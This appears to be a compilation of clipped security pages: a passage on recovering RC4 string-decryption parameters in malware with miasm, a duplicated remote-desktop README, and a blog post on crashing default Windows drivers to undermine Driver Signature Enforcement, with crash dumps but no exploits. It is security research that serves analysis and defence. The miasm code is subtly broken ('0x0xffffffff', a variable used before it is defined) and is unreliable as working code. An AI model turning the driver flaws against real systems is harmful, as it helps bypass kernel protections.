does string encryption on fly using RC4 . Parameters required for a successful
decrypting of string are

\*1 : Four byte RC4 key  
\*2 : Size of string  
\*3 : offset to encoded data buffer  
\*4 : bool\_convert\_unicode ? \( not required\)

This function happens to be _\_\_fastcall_ for which first two parameters are
passed via registers and rest are pushed on to the stack

<img src='img/b3s3qn99n7yf8w_retina.jpg' width='364' height='187' alt='2.JPG'
/>

Obtained parameters via xrefs and text parsing works well , but fails at a
location where any parameter is retrieved indirectly . Now considering all
above cases , entities can be set by many different ways .

<img src='img/dfpfecjiofg0tq_retina.jpg' width='451' height='218' alt='2.JPG'
/>

In this case , _EDX_ is retired from _EBP_ .The value of _EBP_ can come from
different manipulations, we will be able to track via symbolic execution of
this Frame

[code]

    
    from miasm2.ir.symbexec import SymbolicExecutionEngine
    from miasm2.analysis.machine import Machine
    from miasm2.expression.expression import ExprInt32
    
    
    from miasm2.ir.symbexec import symbexec
    machine = Machine('x86_32')
     
    mdis = machine.dis_engine(bs)
    start, end = 0, len(bs)
    blocs = mdis.dis_multibloc(start)
    
    ira = machine.ira()
    ira.arch.regs.EAX
    for bloc in blocs:
        ira.add_bloc(bloc)
    
[/code]

Binary code of this frame till the xref of the function can be obtained by IDA
API which will be processed by the library

We would also be required to provide few concrete values to the frame , as
they are expected by the code to reach our desired frame

<img src='img/wjmuxrycrr6yaw_retina.jpg' width='275' height='269' alt='2.JPG'
/>

Using the following code before running the symbolic engine , we will set
concrete values for _ECX_ and _EDX_

[code]

    
    sb.symbols[machine.mn.regs.ECX] = ExprInt32(0x0xffffffff)
    sb.symbols[machine.mn.regs.EDX] = ExprInt32(0x1)
    
[/code]

And finally we let it perform symbolic execution with these concrete values

[code]

    
    sb = symbexec(ira, machine.mn.regs.regs_init)
    sb.emul_ir_blocks(start)
     
    sb.dump_id()
    sb.dump_mem()
    
[/code]

This code will provide an IR dump of register and memory . It facilitates us
to retrieve both the stack parameter and the register based parameters as well

[code]

    IRDst = 0x161
    EIP = 0x161
    EAX = call_func_ret(0xFFFFFF6C, call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC)
    ECX = 0x4122CC
    EDX = 0x2  
    EBX = 0x1
    ESP = call_func_stack(0xFFFFFF6C, call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC)
    EBP = 0x2
    ESI = 0x0
    EDI = 0xFFFFFFFF
    zf = 0x1
    nf = 0x0
    pf = 0x1
    of = 0x0
    cf = 0x0
    af = (((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) ^ (((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFCA8) ^ 0x358)[4:5]
    @32[call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC] call_func_ret(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90))
    @32[call_func_stack(0xFFFFFF6C, call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC) + 0xFFFFFFFC] 0x2
    @32[ESP_init + 0xFFFFFFFC] EBP_init
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFCA4] EBX_init
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFCA0] ESP_init + 0xFFFFFFFC
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC9C] ESI_init
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC98] EDI_init
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC94] 0x0
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90] 0xD5268998
    @32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC8C] 0x7
    
[/code]

From this output , we can retrieve our required parameters which happen to be
_EDX = 0x2_ : **Length of string**  
_ECX = 0x4122CC_ : **Address of encoded data buffer**

_@32\[\(\(ESP\_init + 0xFFFFFFFC\) & 0xFFFFFFF8\) + 0xFFFFFC94\] 0x0 \*:
**bool\_to\_unicode ?**  
\*@32\[\(\(ESP\_init + 0xFFFFFFFC\) & 0xFFFFFFF8\) + 0xFFFFFC90\] 0xD5268998_
: **RC4Key**

Backtracking reveals the location where _EBP_ was set to 2, which was traced
and recorded by symbolic engine till the end of frame

<img src='img/1geeu4oj7vd3dq_retina.jpg' width='306' height='173' alt='2.JPG'
/>

<img src='img/kylry44wq9gcw_retina.jpg' width='353' height='173' alt='2.JPG'
/>

14

Kudos

  

# aspia-org/remote-desktop

**Created:**| _7/17/2017 11:18:38 AM_  
---|---  
**Updated:**| _7/17/2017 11:18:38 AM_  
**Author:**| __  
**Tags:**| _rdp_  
  

  

# Aspia Remote Desktop

Remote desktop implementation \(client and server\) based on Google Protocol
Buffers.

Build Status | Coverity Scan Status  
---|---  
<img src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f326274703034676f6e796979306e6a312f6272616e63682f6d61737465723f7376673d74727565' width='106' height='20' alt='Build Status' /> | <img src='img/68747470733a2f2f7363616e2e636f7665726974792e636f6d2f70726f6a656374732f31333131372f62616467652e737667' width='108' height='20' alt='Coverity Scan Status' />  
## Currently supported

  * Remote desktop management
  * Remote desktop view
  * Remote power management
  * Encryption \(all transmitted information is encrypted using the algorithms XSalsa20 + Poly1305\)
  * Authorization \(it is possible to add users with different access rights\)

## It is planned to implement

  * File transfer
  * System information \(for local and remote computers\)
  * Audio transfer
  * Address book with encryption and master-password
  * Authorization with Windows credentials
  * NAT traversal

## Thrid-party components

In the project partially uses code from WebRTC and Chromium Remoting. Also
uses:

  * libvpx \(encoding and decoding vp8/vp9 video formats\).
  * zlib-ng \(compressing and decompressing. Different from the original zlib presence of patches from Intel and Cloudflare for faster work on modern processors\)
  * libglog \(logging\)
  * gflags \(command line arguments parsing\)
  * libyuv \(image formats convertation\)
  * gtest \(unit testing\)
  * libsodium \(encryption\)
  * WTL \(for UI in Windows\)
  * FatCow Icons
  * Fugue Icons

## Building

For building the project requires:

  * Visual Studio 2017
  * YASM compiller \(version for "general use"\)

All thrid party dependencies are included in the project.

## System requirements

x86 or x86\_64 CPU with SSE2 support, Windows XP SP3 or higher.

## Other information

At the moment the project in development stage and is not intended for use. If
you have any questions, you can email me: dmitry@aspia.ru

## Licensing

Project code is available under the Mozilla Public License Version 2.0.

# Aspia Remote Desktop

Remote desktop implementation \(client and server\) based on Google Protocol
Buffers.

Build Status | Coverity Scan Status  
---|---  
<img src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f326274703034676f6e796979306e6a312f6272616e63682f6d61737465723f7376673d74727565' width='106' height='20' alt='Build Status' /> | <img src='img/68747470733a2f2f7363616e2e636f7665726974792e636f6d2f70726f6a656374732f31333131372f62616467652e737667' width='108' height='20' alt='Coverity Scan Status' />  
## Currently supported

  * Remote desktop management
  * Remote desktop view
  * Remote power management
  * Encryption \(all transmitted information is encrypted using the algorithms XSalsa20 + Poly1305\)
  * Authorization \(it is possible to add users with different access rights\)

## It is planned to implement

  * File transfer
  * System information \(for local and remote computers\)
  * Audio transfer
  * Address book with encryption and master-password
  * Authorization with Windows credentials
  * NAT traversal

## Thrid-party components

In the project partially uses code from WebRTC and Chromium Remoting. Also
uses:

  * libvpx \(encoding and decoding vp8/vp9 video formats\).
  * zlib-ng \(compressing and decompressing. Different from the original zlib presence of patches from Intel and Cloudflare for faster work on modern processors\)
  * libglog \(logging\)
  * gflags \(command line arguments parsing\)
  * libyuv \(image formats convertation\)
  * gtest \(unit testing\)
  * libsodium \(encryption\)
  * WTL \(for UI in Windows\)
  * FatCow Icons
  * Fugue Icons

## Building

For building the project requires:

  * Visual Studio 2017
  * YASM compiller \(version for "general use"\)

All thrid party dependencies are included in the project.

## System requirements

x86 or x86\_64 CPU with SSE2 support, Windows XP SP3 or higher.

## Other information

At the moment the project in development stage and is not intended for use. If
you have any questions, you can email me: dmitry@aspia.ru

## Licensing

Project code is available under the Mozilla Public License Version 2.0.

  

# Debuggers are really powerful - Pwning all of the Android things

**Created:**| _10/23/2013 10:15:56 AM_  
---|---  
**Updated:**| _10/23/2013 10:16:16 AM_  
**Author:**| _wishi_  
**Tags:**| _Debugging conference-material scripting Java android_  
  
<img src='img/rowley-ekoparty2013.pdf' />

# Defeating Windows Driver Signature Enforcement \#1: default drivers | j00ru//vx tech blog
**Created:**| _11/7/2012 6:19:43 PM_  
---|---  
**Updated:**| _11/7/2012 6:19:43 PM_  
**Author:**| __  
**Tags:**| _windows security_  
  

# Defeating Windows Driver Signature Enforcement \#1: default drivers

One of the obvious things about the Windows operating system for anyone
actively working on its kernel security is that the _Driver Signature
Enforcement_ \(DSE in short\) is not effective and can be bypassed with
relative ease by any determined individual. From a historical perspective, the
“feature” was introduced in the 64-bit build of Windows Vista in 2007 and has
been shipped with all 64-bit Windows editions since then. In essence, it was
designed to prevent unsigned device drivers \(or kernel modules in general\)
from being loaded and executed with ring-0 privileges. Consequently, it broke
one of the fundamental Windows assumptions followed since the early years of
the NT family – administrative privileges in the system would no longer be
equivalent to the ability to run arbitrary ring-0 code, effectively
introducing a completely new layer of privilege separation in the system.

Soon after the change was presented to wide audience, the _enforcement_ was
spectacularly defeated by Joanna Rutkowska, who took advantage of the fact
that users in the _Administrators_ group had been granted access to raw disk
data and thus were able to modify parts of the _pagefile.sys_ swap file
potentially containing paged-out ring-0 code, to later execute the injected
payload by crafting a special kernel-mode request \(IRP to the NULL.sys driver
in that particular case\). Joanna’s and Alexander’s presentation was titled
IsGameOver\(\) Anyone?  and received quite a lot of media attention at the
time \(mid 2007\), starting a global discussion regarding the sense and
security implications of introducing the mechanism. As a direct outcome,
Microsoft decided to address this particular attack by disabling user-mode
access to raw disk contents . Since five years ago, the mechanism hasn’t been
publicly criticized or otherwise discussed anymore – perhaps everyone just got
used to its existence and \(in\)effectiveness.

Although you can think of it in terms of an additional barrier that ring-0
badware developers have to face, it certainly isn’t considered a _security_
measure. Despite the extra separation level, admin → kernel escalations are
not of much interest to the overall community, given that administrative
rights are by far enough to compromise a system and guarantee infction
persistence \(with the small exception of the ability to communicate with
machine peripherals, e.g. in order to set up a MBR/VBR rootkit\).
Additionally, a number of kernel-mode Windows components and features created
in the pre-Vista era relies on ultimate trust to the _Administrators_ group on
so many levels that I really doubt it is realistically possible to reliably
separate the two privilege levels at this point without investing an
incredible amount of resources to introduce significant changes into the many
areas of current system design.

I don’t usually pay too much attention to admin → kernel escalations when I
sometimes stumble upon them during my daily work. However, today I would like
to showcase an interesting set of bugs that I accidentally noticed a few weeks
ago while doing some unrelated research. The nature of these bugs visibly
exposes how flawed the signature enforcement idea has been from the very
beginning. So, to the point: all device drivers present in the default Windows
installation directory \(Windows\system32\drivers\) are obviously digitally
signed and thus can be freely loaded or unloaded, assuming administrative
privileges. Performing any of the two operations upon most .sys files doesn’t
lead to any interesting behavior; however, if you attempt to unload some of
them – or even better, load them in ring-0 more than once – you might end up
triggering various types of Windows bugchecks, some of them in the most
interesting locations or contexts I have seen in a long time. It turns out
that these otherwise high-quality kernel modules fail to properly recover from
encountering an error during _DriverEntry_ initialization, or have serious
bugs in the _DriverUnload_ routines, most likely assuming that they would
never be used anyway. Depending on the exact edition of Microsoft Windows, you
can find up to 10 device drivers that are affected by the described flaws
\(out of ~300, if you’re interested in the metrics\) in a default system
installation.

<img src='img/Temp2_2087.jpg' />

Nobody expects a driver loaded twice\!

Keep in mind that a system crash in one of those drivers doesn’t necessarily
imply that it can be successfully exploited and used to run arbitrary ring-0
code. For instance, both _DriverEntry_ and _DriverUnload_ routines are
typically called from within the _System_ process, one that is inaccessible
from user-mode; therefore, any NULL Pointer Dereferences occuring there aren’t
of much use as they will always result in a Blue Screen of Death. As you will
see, a few of the reproduced crashes are more complicated and affect the
system state as a whole \(e.g. by corrupting the kernel pools\), therefore,
they are likely enough to subvert the _Driver Signature Enforcement_
mechanism. Ironically, a feature that was bypassed using a fairly complex
attack and argued over for a long time could have been defeated with just the
default drivers shipped with every Windows out there… that’s fascinating :-\)

Below are listed eight crashes that I have reproduced on a Windows 7 SP1
64-bit machine; additionally, there is one more case of a driver that only
fails under the new Windows 8 operating system. For each discussed driver, you
can also find a short explanation of the programming bug that led to the
bugcheck. I’m intentionally not including reliable exploits for any of the
issues. Some of them do seem like good exploitation candidates, though :\)
Have fun\!

# acpi.sys

?

| `TRAP_FRAME: fffff88003174430 -- (.trap 0xfffff88003174430)``NOTE: The trap
frame does not contain all registers.``Some register values may be zeroed or
incorrect.``rax=0000000000000001 rbx=0000000000000000
rcx=0000000000008086``rdx=0000000000007190 rsi=0000000000000000
rdi=0000000000000000``rip=fffff80002e38740 rsp=fffff880031745c8
rbp=0000000000000000``r8=0000000000000001 r9=fffff88003174620
r10=0000000000000003``r11=fffff880031745c0 r12=0000000000000000
r13=0000000000000000``r14=0000000000000000 r15=0000000000000000``iopl=0 nv up
ei pl zr na po nc``hal!HalpGetChipHacks:``fffff800`02e38740 ?? ???``Resetting
default scope``LAST_CONTROL_TRANSFER: from fffff80002974d92 to
fffff80002885490``STACK_TEXT: ``fffff880`03173b58 fffff800`02974d92 :
fffff800`02e38740 fffffa80`00cd7040 00000000`00000065 fffff800`028c9178 :
nt!RtlpBreakWithStatusInstruction``fffff880`03173b60 fffff800`02975b7e :
fffff880`00000003 fffff880`03174430 fffff800`028c99d0 00000000`00000050 :
nt!KiBugCheckDebugBreak+0x12``fffff880`03173bc0 fffff800`0288d744 :
fffff880`031744b0 fffff800`02e04245 00000000`00000001 00000000`00000000 :
nt!KeBugCheck2+0x71e``fffff880`03174290 fffff800`028392ac : 00000000`00000050
fffff800`02e38740 00000000`00000008 fffff880`03174430 :
nt!KeBugCheckEx+0x104``fffff880`031742d0 fffff800`0288b76e : 00000000`00000008
fffff800`02e38740 ffff00a0`71908000 00000000`00000000 : nt! ??
::FNODOBFM::`string'+0x4621f``fffff880`03174430 fffff800`02e38740 :
fffff800`02e2a665 00000000`00000000 00000000`00000000 00000000`00000000 :
nt!KiPageFault+0x16e``fffff880`031745c8 fffff800`02e2a665 : 00000000`00000000
00000000`00000000 00000000`00000000 fffff800`02c5c0ed :
hal!HalpGetChipHacks``fffff880`031745d0 fffff800`02e30ebf : fffff880`034a3f70
00000000`00000000 fffff880`034a5360 00000000`00000001 :
hal!HalpPiix4Detect+0x309``fffff880`03174740 fffff880`034c06f8 :
ffffffff`800006b8 fffffa80`02759060 fffffa80`02759060 00000000`000007ff :
hal!HaliInitPowerManagement+0x37``fffff880`031747b0 fffff800`02c72467 :
ffffffff`800006b8 fffffa80`015ac040 fffffa80`02759060 00000000`000007ff :
acpi_fffff88003471000!DriverEntry+0x6f0``fffff880`03174860 fffff800`02c72865 :
fffffa80`01508220 00000000`00000000 00000000`00000001 00000000`00000001 :
nt!IopLoadDriver+0xa07``fffff880`03174b30 fffff800`02897a21 :
fffff800`00000000 ffffffff`800006cc fffff800`02c72810 fffff800`02a2a658 :
nt!IopLoadUnloadDriver+0x55``fffff880`03174b70 fffff800`02b2acce :
00000000`00000000 fffffa80`00cd7040 00000000`00000080 fffffa80`00cbc040 :
nt!ExpWorkerThread+0x111``fffff880`03174c00 fffff800`0287efe6 :
fffff800`029ffe80 fffffa80`00cd7040 fffffa80`00cd6680 00000000`00000000 :
nt!PspSystemThreadStartup+0x5a``fffff880`03174c40 00000000`00000000 :
fffff880`03175000 fffff880`0316f000 fffff880`03173bf0 00000000`00000000 :
nt!KeStartSystemThread+0x16`  
---|---  
**Explanation**

The crash occurs during the execution of _acpi\!DriverEntry_ – the driver’s
entry point calls the _hal\!HaliInitPowerManagement_ import routine. From
there, the call chain goes all the way to _nt\!HalpGetChipHacks_ residing in a
special “INIT” section. Since the section is marked as _Discardable_ through a
IMAGE\_SCN\_MEM\_DISCARDABLE flag in its _Characteristics_ descriptor field,
the corresponding physical memory is unmapped from virtual space as soon as it
is no longer needed \(that would be early stages of system boot\).
Consequently, loading _acpi.sys_ driver at any time after the system is
already up and running would most likely result in an attempt to execute an
unmapped memory area, as shown in the above listing.

# bowser.sys

?

| `TRAP_FRAME: fffff880031893c0 -- (.trap 0xfffff880031893c0)``NOTE: The trap
frame does not contain all registers.``Some register values may be zeroed or
incorrect.``rax=fffff880031895d8 rbx=0000000000000000
rcx=0000000000000000``rdx=0000000000000100 rsi=0000000000000000
rdi=0000000000000000``rip=fffff80002b9bc54 rsp=fffff88003189550
rbp=fffffa8001dfe000``r8=fffff88003189610 r9=0000000000000000
r10=fffff800029f93c0``r11=fffff88003189668 r12=0000000000000000
r13=0000000000000000``r14=0000000000000000 r15=0000000000000000``iopl=0 nv up
ei ng nz na po nc``nt!ObpGetObjectSecurity+0x2c:``fffff800`02b9bc54 0fb64718
movzx eax,byte ptr [rdi+18h] ds:5e00:0018=??``Resetting default
scope``LAST_CONTROL_TRANSFER: from fffff8000296cd92 to
fffff8000287d490``STACK_TEXT: ``fffff880`03188ae8 fffff800`0296cd92 :
ffffffff`ffffffe8 fffffa80`00cdf040 00000000`00000065 fffff800`028c1178 :
nt!RtlpBreakWithStatusInstruction``fffff880`03188af0 fffff800`0296db7e :
fffff880`00000003 fffff880`031893c0 fffff800`028c19d0 00000000`00000050 :
nt!KiBugCheckDebugBreak+0x12``fffff880`03188b50 fffff800`02885744 :
fffff8a0`02537f30 00000000`00000000 00000000`000001f1 fffff880`037eb008 :
nt!KeBugCheck2+0x71e``fffff880`03189220 fffff800`028312ac : 00000000`00000050
ffffffff`ffffffe8 00000000`00000000 fffff880`031893c0 :
nt!KeBugCheckEx+0x104``fffff880`03189260 fffff800`0288376e : 00000000`00000000
ffffffff`ffffffe8 00000000`00000000 fffff880`03189620 : nt! ??
::FNODOBFM::`string'+0x4621f``fffff880`031893c0 fffff800`02b9bc54 :
00000000`003e002c fffff8a0`0241a350 00e20104`100000e2 40000000`00020020 :
nt!KiPageFault+0x16e``fffff880`03189550 fffff880`037d6252 : fffffa80`00000100
00000000`00000000 fffffa80`01dfe000 fffffa80`02075e70 :
nt!ObpGetObjectSecurity+0x2c``fffff880`031895e0 fffff880`037ec122 :
fffffa80`01dfe000 00000000`00000000 fffffa80`01dfe000 fffffa80`0102b000 :
bowser_fffff880037d2000!BowserCreateAdminSecurityDescriptor+0x42``fffff880`03189670
fffff800`02c6a467 : fffffa80`02075e70 fffffa80`02075e70 fffffa80`02075e70
00000000`00000000 :
bowser_fffff880037d2000!DriverEntry+0x11a``fffff880`03189860 fffff800`02c6a865
: fffffa80`011cbfc0 00000000`00000000 00000000`00000001 00000000`00000001 :
nt!IopLoadDriver+0xa07``fffff880`03189b30 fffff800`0288fa21 :
fffff800`00000000 ffffffff`80000830 fffff800`02c6a810 fffffa80`00cdf040 :
nt!IopLoadUnloadDriver+0x55``fffff880`03189b70 fffff800`02b22cce :
0b040f0c`05100d05 fffffa80`00cdf040 00000000`00000080 fffffa80`00cc3040 :
nt!ExpWorkerThread+0x111``fffff880`03189c00 fffff800`02876fe6 :
fffff800`029f7e80 fffffa80`00cdf040 fffffa80`00cde680 00000000`00000000 :
nt!PspSystemThreadStartup+0x5a``fffff880`03189c40 00000000`00000000 :
fffff880`0318a000 fffff880`03184000 fffff880`031898a0 00000000`00000000 :
nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

Long story short, the relevant, buggy piece of code within
_bowser\!DriverEntry_ is represented by the following pseudo-code:

?

| `RtlInitUnicodeString(&BowserNameString,
L``"\\Device\\LanmanDatagramReceiver"``);``IoCreateDevice(DriverObject, 0,
&BowserNameString, 0x13u, 0, 0,
&DeviceObject);``[...]``ObGetObjectSecurity(DeviceObject, &SecurityDescriptor,
MemoryAllocated);`  
---|---  
The driver tries to create a device with a fixed name and after returning from
the _IoCreateDevice_ call, it blindly assumes that the operation has
succeeded; if it is the second instance of the module in the operating system,
the assumption is broken, resulting in numerous dereferences of the NULL
address treated as a device object pointer.

# Diskdump.sys

?

| `STACK_TEXT: ``fffff880`04b98e28 fffff800`029ced92 : 00000000`000001f4
fffffa80`013c7b60 00000000`00000065 fffff800`02923178 :
nt!RtlpBreakWithStatusInstruction``fffff880`04b98e30 fffff800`029cfb7e :
00000000`00000003 00000000`00000000 fffff800`029239d0 00000000`00000034 :
nt!KiBugCheckDebugBreak+0x12``fffff880`04b98e90 fffff800`028e7744 :
fffff880`04b995c8 00000000`00000000 fffffa80`0232bd60 00000000`00001000 :
nt!KeBugCheck2+0x71e``fffff880`04b99560 fffff800`02c3e2af : 00000000`00000034
00000000`000001f4 ffffffff`c0000420 00000000`00000000 :
nt!KeBugCheckEx+0x104``fffff880`04b995a0 fffff880`012c0f08 : fffff880`00000000
00000000`00001000 fffffa80`0232bd60 fffffa80`00001001 : nt! ??
::NNGAKEGL::`string'+0x4fb24``fffff880`04b99660 fffff880`01165098 :
fffffa80`00d7a320 fffffa80`0232bcf8 fffffa80`00c00640 fffffa80`00d7a301 :
Ntfs!NtfsCopyReadA+0x1a8``fffff880`04b99840 fffff880`011688ba :
fffff880`04b99910 00000000`0399c103 00000000`0399c100 fffffa80`00d7a300 :
fltmgr!FltpPerformFastIoCall+0x88``fffff880`04b998a0 fffff880`01186630 :
fffffa80`00d7a320 00000000`00000000 fffff880`04b99a00 00000000`00001000 :
fltmgr!FltpPassThroughFastIo+0xda``fffff880`04b998e0 fffff800`02bd0e99 :
fffffa80`00d7a320 fffff880`00000001 fffffa80`00cfd080 fffffa80`00d7a320 :
fltmgr!FltpFastIoRead+0x1d0``fffff880`04b99980 fffff800`028e68d3 :
00000000`0000053c 00000000`00000000 00000000`00000000 00000000`00000000 :
nt!NtReadFile+0x417``fffff880`04b99a70 00000000`774c137a : 000007fe`fd471aca
00000000`00000000 00000002`00000003 00000001`01d88f00 :
nt!KiSystemServiceCopyEnd+0x13``00000000`04fcd458 000007fe`fd471aca :
00000000`00000000 00000002`00000003 00000001`01d88f00 00000000`00000005 :
ntdll!NtReadFile+0xa``00000000`04fcd460 00000000`77261559 : 00000000`00000000
00000000`0000053c 00000000`00000000 00000000`04fcd620 :
KERNELBASE!ReadFile+0x76``00000000`04fcd4e0 00000000`74a005d9 :
00000000`00023000 00000000`04fcd620 00000000`0399c130 00000000`00001000 :
kernel32!ReadFileImplementation+0x55``00000000`04fcd520 00000000`00023000 :
00000000`04fcd620 00000000`0399c130 00000000`00001000 00000000`00000000 :
mpengine+0x605d9``00000000`04fcd528 00000000`04fcd620 : 00000000`0399c130
00000000`00001000 00000000`00000000 00000000`74a00628 :
0x23000``00000000`04fcd530 00000000`0399c130 : 00000000`00001000
00000000`00000000 00000000`74a00628 00000000`01d7c340 :
0x4fcd620``00000000`04fcd538 00000000`00001000 : 00000000`00000000
00000000`74a00628 00000000`01d7c340 00000000`749c9be1 :
0x399c130``00000000`04fcd540 00000000`00000000 : 00000000`74a00628
00000000`01d7c340 00000000`749c9be1 00000000`00000000 : 0x1000`  
---|---  
**Explanation**

The traditional definition of a _DriverEntry_ function is as follows:

?

| `NTSTATUS DriverEntry(``_In_ ``struct` `_DRIVER_OBJECT *DriverObject,``_In_
PUNICODE_STRING RegistryPath``)`  
---|---  
Under normal circumstances, the second parameter contains a valid pointer into
a string describing the driver’s registry path. For _diskdump.sys_ , however,
the semantics of the parameter are different; the kernel seems to use it as
some kind of a shared structure, both read from and written to bydiskdump.sys.
In fact, one of the first operations executed by the routine is the following
call:

?

| `memset``(*(``void` `**)(RegistryPath + 8), 0, 0x10000u);`  
---|---  
That’s right – the driver ends up zeroing-out 65,536 bytes of the kernel pool
area. After that happens, it doesn’t take more than a few seconds \(usually
far less\) to see the screen being filled with blue pixels. Very difficult in
reliable exploitation, but perhaps possible with the right degree of kernel
pool massaging.

# Dumpata.sys

?

| `CONTEXT: fffff88003181e50 -- (.cxr
0xfffff88003181e50)``rax=fffff880035a93f8 rbx=fffffa8000d4e000
rcx=fffffa8000d4e010``rdx=fffffa8000d4e000 rsi=0069007600720065
rdi=fffffa8000d4e010``rip=fffff880035a905a rsp=fffff88003182830
rbp=0000000000000000``r8=0000000000008000 r9=fffffa80022e6be0
r10=0000000000000000``r11=fffff80002809000 r12=0000000000000001
r13=ffffffff80000828``r14=fffffa800100a700 r15=000000000000001c``iopl=0 nv up
ei ng nz na po nc``cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b
efl=00010286``Dumpata!IdeDumpPortInitialize+0x52:``fffff880`035a905a 8b4608
mov eax,dword ptr [rsi+8]
ds:002b:00690076`0072006d=????????``[...]``STACK_TEXT: ``fffff880`03182830
fffff800`02c6e467 : fffffa80`022e6be0 fffffa80`00d4e000 00000000`00000000
00000000`000007ff : Dumpata!IdeDumpPortInitialize+0x52``fffff880`03182860
fffff800`02c6e865 : fffffa80`011fb900 00000000`00000000 00000000`00000001
00000000`00000001 : nt!IopLoadDriver+0xa07``fffff880`03182b30
fffff800`02893a21 : fffff800`00000000 ffffffff`80000828 fffff800`02c6e810
fffffa80`00cd5680 : nt!IopLoadUnloadDriver+0x55``fffff880`03182b70
fffff800`02b26cce : 01000501`00050100 fffffa80`00cd5680 00000000`00000080
fffffa80`00cba040 : nt!ExpWorkerThread+0x111``fffff880`03182c00
fffff800`0287afe6 : fffff800`029fbe80 fffffa80`00cd5680 fffffa80`00cd5b60
00000000`00000000 : nt!PspSystemThreadStartup+0x5a``fffff880`03182c40
00000000`00000000 : fffff880`03183000 fffff880`0317d000 fffff880`03181280
00000000`00000000 : nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

Similarly to Diskdump.sys, the Dumpata.sys driver appears to interpret the
second parameter of _DriverEntry_ differently from its typical meaning. This
time, an internal _IdeDumpPortInitializ_ _e_ function treats some of unicode
string’s bytes as a virtual memory address and tries to access it… with no
chance to succeed.

# dxg.sys

?

| `TRAP_FRAME: fffff8800316d3e0 -- (.trap 0xfffff8800316d3e0)``NOTE: The trap
frame does not contain all registers.``Some register values may be zeroed or
incorrect.``rax=fffff8800316d500 rbx=0000000000000000
rcx=0000000000005a4d``rdx=fffff96000050000 rsi=0000000000000000
rdi=0000000000000000``rip=fffff800028aa8ef rsp=fffff8800316d578
rbp=fffff8800316d670``r8=0000000000000000 r9=fffff8800316d5d0
r10=0000000000000000``r11=0000000000000000 r12=0000000000000000
r13=0000000000000000``r14=0000000000000000 r15=0000000000000000``iopl=0 nv up
ei pl nz na pe nc``nt!RtlImageNtHeaderEx+0x3f:``fffff800`028aa8ef 66390a cmp
word ptr [rdx],cx ds:fffff960`00050000=????``Resetting default
scope``LAST_CONTROL_TRANSFER: from fffff800029b0d92 to
fffff800028c1490``STACK_TEXT: ``fffff880`0316cb08 fffff800`029b0d92 :
fffff960`00050000 fffffa80`00cd3680 00000000`00000065 fffff800`02905178 :
nt!RtlpBreakWithStatusInstruction``fffff880`0316cb10 fffff800`029b1b7e :
fffff880`00000003 fffff880`0316d3e0 fffff800`029059d0 00000000`00000050 :
nt!KiBugCheckDebugBreak+0x12``fffff880`0316cb70 fffff800`028c9744 :
fffffa80`00cb9040 fffff800`028fb627 00000000`00000000 fffff680`00000568 :
nt!KeBugCheck2+0x71e``fffff880`0316d240 fffff800`02873bf7 : 00000000`00000050
fffff960`00050000 00000000`00000000 fffff880`0316d3e0 :
nt!KeBugCheckEx+0x104``fffff880`0316d280 fffff800`028c776e : 00000000`00000000
fffff960`00050000 fffffa80`02287200 fffff960`00050000 : nt! ??
::FNODOBFM::`string'+0x44811``fffff880`0316d3e0 fffff800`028aa8ef :
fffff800`02896159 00000000`00000000 00000000`000007ff 00000000`00000001 :
nt!KiPageFault+0x16e``fffff880`0316d578 fffff800`02896159 : 00000000`00000000
00000000`000007ff 00000000`00000001 fffff880`0316d6d8 :
nt!RtlImageNtHeaderEx+0x3f``fffff880`0316d580 fffff800`02895993 :
00000000`00000000 00000000`00000000 fffff880`035960a4 fffffa80`01c38940 :
nt!RtlpImageDirectoryEntryToDataEx+0x59``fffff880`0316d5d0 fffff800`02c9ebcc :
fffff880`0316d680 00000000`00000000 fffff800`02d80101 fffff880`00000014 :
nt!RtlImageDirectoryEntryToData+0x13``fffff880`0316d620 fffff800`02cab7f8 :
fffff880`0357b000 fffff880`0316d7f8 00000000`00000000 fffff880`0316d7d8 :
nt!MiResolveImageReferences+0x4ec``fffff880`0316d740 fffff800`02cadead :
fffff880`0316d8b8 00000000`00000000 00000000`00000000 00000000`00000000 :
nt!MmLoadSystemImage+0x828``fffff880`0316d860 fffff800`02cae865 :
fffffa80`011dca00 00000000`00000000 00000000`00000001 00000000`00000001 :
nt!IopLoadDriver+0x44d``fffff880`0316db30 fffff800`028d3a21 :
fffff800`00000000 ffffffff`80000830 fffff800`02cae810 fffffa80`00cd3680 :
nt!IopLoadUnloadDriver+0x55``fffff880`0316db70 fffff800`02b66cce :
223b4724`3d49253e fffffa80`00cd3680 00000000`00000080 fffffa80`00cb9040 :
nt!ExpWorkerThread+0x111``fffff880`0316dc00 fffff800`028bafe6 :
fffff800`02a3be80 fffffa80`00cd3680 fffffa80`00cd3b60 170a0e1a`0b101c0c :
nt!PspSystemThreadStartup+0x5a``fffff880`0316dc40 00000000`00000000 :
